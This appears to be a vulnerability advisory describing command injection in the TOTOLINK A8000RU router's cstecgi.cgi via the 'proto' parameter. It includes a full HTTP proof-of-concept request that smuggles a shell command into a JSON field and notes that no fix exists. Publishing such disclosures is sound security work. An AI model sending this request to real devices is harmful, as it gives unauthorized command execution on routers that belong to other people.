# A8000RU Command Injection Vulnerability Summary ## Vulnerability Overview A command injection vulnerability was discovered in the `cstecgi.cgi` of the TOTOLINK A8000RU router. An attacker can craft a malicious request and exploit the user-provided `proto` parameter in the `sub_424390` function. The malicious command is concatenated into the `uci set` command via `snprintf`, and ultimately executed through `execv` by the `CsteSystem` function, achieving arbitrary command execution. ## Impact Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1.c1u.643_b20200521 ## Remediation No official fix is currently available. ## Proof of Concept (PoC) ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 72 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2772465782:2 Connection: keep-alive {"topicurl":"setNetworkCfg","proto":" ls> /setNetworkCfg.txt "} ``` **Execution Result**: The file `/setNetworkCfg.txt` was successfully created, containing the directory listing, proving that command execution succeeded.